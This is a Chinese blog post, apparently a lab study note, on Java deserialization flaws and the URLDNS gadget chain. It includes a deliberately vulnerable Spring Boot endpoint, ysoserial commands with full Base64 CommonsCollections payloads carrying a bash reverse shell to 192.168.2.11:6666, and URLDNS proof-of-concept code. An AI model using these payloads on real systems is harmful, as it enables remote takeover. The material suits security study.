Java反序列化漏洞與URLDNS利用鏈分析

前言

前面學習過 Java 反序列化漏洞的部分知識,總結過幾篇文章:

文章發布日期內容概括
《滲透測試-JBoss 5.x/6.x反序列化漏洞》2020-07-08JBoss 反序列化漏洞 CVE-2017-12149 的簡單復現,使用了 ysoserial 和 CC5 鏈,未分析漏洞原理和具體利用鏈原理……
《滲透測試-Fastjson 1.2.47 RCE漏洞復現》2020-07-11Fastjson 1.2.47 反序列化漏洞的簡單復現,使用到了 JNDI 注入和 Java RMI 技術(做了介紹),未分析漏洞原理和漏洞利用技術……
《Apache Shiro Java反序列化漏洞復現》2020-10-25Apache Shiro <= 1.2.4 反序列化漏洞的簡單復現與檢測工具使用,使用了 ysoserial 和 CC4 鏈,未分析漏洞原理和具體利用鏈原理……
《JAVA代碼審計之Shiro反序列化漏洞分析》2021-07-24Shiro 漏洞(上文)CVE-2016-4437 的 IDEA 調試分析,分析了 Remember Cookie 的密鑰硬編碼造成反序列化漏洞的過程,未分析利用鏈……
《CommonCollections1反序列化利用鏈分析》2021-07-30Apache Common Collections1 反序列化利用鏈的分析與學習,懵懵懂懂初始 java 反序列化利用鏈。

翻看并思考了上面幾篇文章,發現身為腳本小子的自己當時對反序列化漏洞的原理和利用鏈的認識著實過于膚淺。

比如如何檢測反序列化漏洞?為什么 Fastjson 漏洞采用 JNDI 注入傳遞 exp、但是 Shiro 漏洞采用 CC 鏈 Payload 直接打就行了?什么情況下可以使用 CC 鏈?這些問題基于前面的學習,尚無法給出明確的答案,于是就有了本文進一步的學習。菜就多練,沒啥毛病……

反序列化思考

在進行反序列化漏洞的進一步實踐之前,先來捋清楚對于反序列化漏洞一些基礎且關鍵的認知。

漏洞代碼特征

參考奇安信《網絡安全 Java 代碼審計實戰》2.10.2 章節:
imagepng
簡單來說,找 readObject/readUnshared 就好了,還有其它用于解析的類庫(xml、yml、json等),由于 java 一切皆對象的特性,反序列化如果處理不當都會存在問題:

XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

比如以下代碼,就存在不安全的反序列化:

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String baseStr = request.getParameter("str");byte[] decodeStr = Base64.getDecoder().decode(baseStr);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);try {Object object = objectInputStream.readObject();} catch (ClassNotFoundException e) {e.printStackTrace();} finally {objectInputStream.close();response.getWriter().println("Unser Test");}
}

上面的代碼,從外部獲取 str 變量的值后進行 base64 解碼并獲得字節輸入流,接著直接調用 objectInputStream.readObject() 進行反序列化,導致反序列化的對象外部可控,存在形成反序列化漏洞的風險。

但是僅僅如此還無法完全形成反序列化漏洞,以上代碼僅僅是漏洞的 Source 點,要形成完整的反序列化漏洞,還需要尋找一條有效的漏洞利用鏈,詳情請參見下一小節。

漏洞利用條件

反序列化漏洞的利用過程所需要的必要條件如下(參考《Java 代碼審計入門篇》第五章 5.8.3 章節“漏洞產生的必要條件”):
imagepng
imagepng
消化理解一下,反序列化漏洞需要的必要條件:

  1. 觸發(Source)點:即上一章節提到的,存在外部可控的反序列化輸入點,如 readObject() ;
  2. 有效的利用鏈路:解決了觸發點,還需要考慮如何構造完整的漏洞代碼并傳輸給目標服務器,利用鏈稱為 Gadget Chain,常見的反序列化利用鏈為借助 Apache Commons Collections 庫構造利用代碼(即前面學習過的 CC1 鏈),常見的生成 Java 反序列化 exp 的工具為: ysoserial。

實際上除了 Source 點和利用鏈,反序列化漏洞利用還需要考慮的一個問題是:執行點,即最終通過什么方式執行命令完成 RCE?

反序列化執行點備注信息
通過反射調用 Runtime.getRuntime().exec 或 java.lang.ProcessBuilder 執行命令Apache Commons Collections 利用鏈,比如 CC1 鏈背后原理便是巧妙借助公共類的反射機制,實現命令執行,完成 RCE,前面學習的 Apache Shiro <= 1.2.4 反序列化漏洞便可以通過此方式完成漏洞利用。
JNDI + RMI 遠程調用,實現 RCE比如前面學習過的 Fastjson 1.2.47 反序列化漏洞的利用,便是借助 JNDI + RMI 遠程調用惡意 Class 來執行命令,完成 RCE。

同時注意以上利用鏈或執行點還需要關注目標系統所在的 Java JDK 版本環境,比如高版本的 JDK 會限制 JNDI 注入的兩種遠程數據訪問協議:
imagepng

Spring漏洞部署

為了理解反序列化漏洞的觸發點,下面在 Ubuntu 虛擬機 IDEA 搭建 SpringBooot 項目,部署存在反序列化漏洞的缺陷代碼。

反序列化Demo

定義一個實體類:

package com.tr0e.filterbug.entity;import lombok.Data;
import java.io.Serializable;@Data
public class User implements Serializable {private int age;private String name;private String data;
}

創建一個漏洞路由,此時前端 http 報文通過傳遞 Json 字符串即可正常傳遞 User 對象(模擬了實戰中實際 SpringBoot 項目遇到的場景):

    @PostMapping("/admin/unserialize/bug")public void unSerialize(@RequestBody User user, HttpServletResponse response) throws IOException {System.out.println(user.toString());byte[] decodeStr = Base64.getDecoder().decode(user.getData());ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);try {Object object = objectInputStream.readObject();response.getWriter().println(object);} catch (ClassNotFoundException e) {e.printStackTrace();} finally {objectInputStream.close();}response.getWriter().println("UnSerialize Test!");}

以上代碼缺陷很明顯,objectInputStream.readObject() 的輸入流外部完全可控,符合反序列化漏洞的 Source 點特征。

URLDNS鏈驗證

以下直接通過 URLDNS 鏈(原理下文再分析)來完成上述反序列化漏洞的驗證,先借助 ysoserial 生成 Payload :

λ java -jar ysoserial-all.jar URLDNS "http://zywbkm.dnslog.cn" | base64 |tr -d "\n"
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHp5d2JrbS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96eXdia20uZG5zbG9nLmNueA==

開源反序列化利用鏈工具 ysoserial:A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

發送 Payload,執行成功的話會觸發 DNS 解析:
imagepng
imagepng
成功觸發 DNS 查詢,驗證反序列化漏洞的存在:
在這里插入圖片描述

CC5鏈反彈Shell

往 SpringBoot 項目 pom.xml 添加 CC1 鏈的依賴庫 commons-collections 3.1:

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

IDEA 會提示存在 CVE 漏洞威脅:
imagepng
然后嘗試使用 CC1 鏈反彈 shell Payload:

/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1

注意需要對反彈 shell Payload 采用 Base64 編碼:

tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections1 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=
tr0e@ubuntu:~/Downloads/Code$ 

Burp 發送 exp,結果發現反彈 shell 失敗:
imagepng
到 IDEA 查看服務器日志:

java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySetat sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81) ~[na:1.8.0_412]at com.sun.proxy.$Proxy65.entrySet(Unknown Source) ~[na:na]at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452) ~[na:1.8.0_412]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_412]at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_412]at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_412]at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_412]at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_412]at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_412]at com.tr0e.filterbug.controller.LoginController.unSerialize(LoginController.java:39) ~[classes/:na]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:209) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:136) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:102) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:891) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:991) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:925) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:981) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:884) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:858) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) ~[tomcat-embed-websocket-8.5.35.jar:8.5.35]at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]at com.tr0e.filterbug.filter.SecurityFilter.doFilter(SecurityFilter.java:69) ~[classes/:na]at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]

產生"java.lang.Override missing element entrySet" 錯誤的原因是我 Ubuntu 的 Java8 JDK 版本過高了(需要低于 172 版本才能使用 CC1 鏈):

tr0e@ubuntu:~/Downloads/Code$ java -version
openjdk version "1.8.0_402"
OpenJDK Runtime Environment (build 1.8.0_402-8u402-ga-2ubuntu1~22.04-b06)
OpenJDK 64-Bit Server VM (build 25.402-b06, mixed mode)
tr0e@ubuntu:~/Downloads/Code$ 

使用反序列化利用鏈 CommonsCollections5(CC6 也可以)則可以解決這個問題:

tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections5 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
tr0e@ubuntu:~/Downloads/Code$ 

發送生成的最終 Payload, 成功反彈 shell:
imagepng
imagepng
可見,Apache Commons Collections 反序列化利用鏈需要目標應用系統集成了存在漏洞版本的 Commons Collections 依賴庫、同時 JDK 版本符合相應條件的情況下才能完成漏洞利用。

【More】BurpSuite 的一個自動檢測 Java 反序列化可行利用鏈的插件:https://github.com/federicodotta/Java-Deserialization-Scanner,但有點年久失修了,2021 年底就開始停止更新。

URLDNS利用鏈

接下來返回看看前文使用到的 Java 反序列化漏洞利用鏈——URLDNS(ysoserial 已集成)。

URLDNS鏈特點

目前網上絕大部分 Java 反序列化漏洞文章都以 Commons Collections 這條利用鏈作為教程,這條利用鏈其實特別復雜,需要多種 Java 特性來配合,比如反射、動態代理、JNDI注入等等,用 Commons Collections 作為 Java 反序列化入門教程未免太過硬核。

URLDNS 鏈是 Java 反序列化中比較簡單的一個鏈子,其具備以下幾個突出的特點:

  1. URLDNS 鏈并不能執行命令,只能發送 DNS 請求;
  2. 但是由于 URLDNS 不依賴第三方包和不限制 jdk 版本,僅靠 JDK 內置的 java.util.Hashmap 和 java.net.URL 類即可完成反序列化的過程,所以經常用于檢測反序列化漏洞;
  3. 同時 URLDNS 利用鏈較短,有助于理解 Java 反序列化,利用鏈太長容易迷茫在利用鏈中的技術細節中。

感覺個人原來就應該先看這個簡單的鏈再去學習 CC1 鏈的……

URLDNS鏈分析

本章節參考《JAVA反序列化之URLDNS鏈分析》,極力推薦,寫得很好!
思考:如下代碼能不能發起一個 dns 請求,為什么?

    public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();hashmap.put(new URL("http://xxxx.dnslog.cn"),1);}

答案是:可以。因為 hashmap.put 中會觸發 url 類中的 hashcode 方法,這個方法會調用 getHostAddress(url) 從而發起 dns 請求。

IDEA 調試分析,注意需要先設置 Debugger 能夠跟進 java 原生類,否則無法跟進 HashMap:
imagepng
imagepng
put 方法調用了 hash 把 url 對象傳了進去:
imagepng
跟進 hash 后進一步跟進 hashcode:
imagepng
imagepng
判斷類中的 hashcode 的值(其初始值=-1) 表示該類 url 第一次調用 hashcode,之后就把這個值存儲起來,以備下次調用 hashcode 直接返回該值。這樣設計的目的也是為了避免多次發起 dns 解析減少運算。若為 -1 則調用 handler.hashcode:
imagepng
跟進 getHostAddress 函數:
imagepng
以上便是 hashmap.put 中會觸發 DNS 請求的原因,調用棧如下:

HashMap.put -> HashMap.hash()-> URL.hashCode()-> URLStreamHandler.hashCode()-> URLStreamHandler.getHostAddress()-> InetAddress.getByName()

反序列化鏈的應用

如上 hashmap.put 會調用 URL.hashCode() 函數后發起 DNS 請求,那么 hashcode 能不能為反序列化漏洞利用過程所調用,通過反序列化觸發 DNS 請求來驗證反序列化漏洞呢?

答案是肯定的,hashmap 重寫了 readobject,這樣反序列化會切入到自己的邏輯中,且在 readobject 中調用了 key 的 hashcode 方法(以下第 36 行):

   private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +  loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " + mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

URLDNS 鏈分析

但是在前面我們分析到,hashmap.put 在第一次建立 url 對象時其內部的 hashcode 為默認值 -1,在執行了 hashmap.put 之后,hashcode 就更新了,這樣的話在反序列化的時候 hashcode 不為 -1,就無法發起 dns 請求。

但好在 hashcode 字段沒有不可序列化的標識符,這就意味著這個成員屬性是我們可控的。只需在 hashmap.put 改過之后,用反射的方法再將 url 對象的 hashcode 的值在改為 -1,就可以使得觸發反序列化過程的時候,依舊能夠正常發起 DNS 請求,幫助我們達到驗證反序列化漏洞的目的。
直接上最終的 URLDNS 利用鏈代碼:

public class UrlDns {public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap= new HashMap<>();URL url = new URL("http://syedx73.dnslog.cn");hashmap.put(url,1);// 獲取URL類的hashCode字段Field hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);// 修改URL對象的hashCode值hashCodeField.set(url, -1);serialize(hashmap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

上述利用鏈 Gadget Chain:

HashMap.readObject()-> HashMap.putVal()-> HashMap.hash()-> URL.hashCode()-> URLStreamHandler.hashCode()-> URLStreamHandler.getHostAddress()-> InetAddress.getByName()

ysoserial生成器

ysoserial 中對于 URLDNS 鏈 Payload 的生成:ysoserial/payloads/URLDNS.java

public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}

ysoserial 每個 Payload 都具備 public static void main,可以下載源碼后設置斷點調試分析:
imagepng
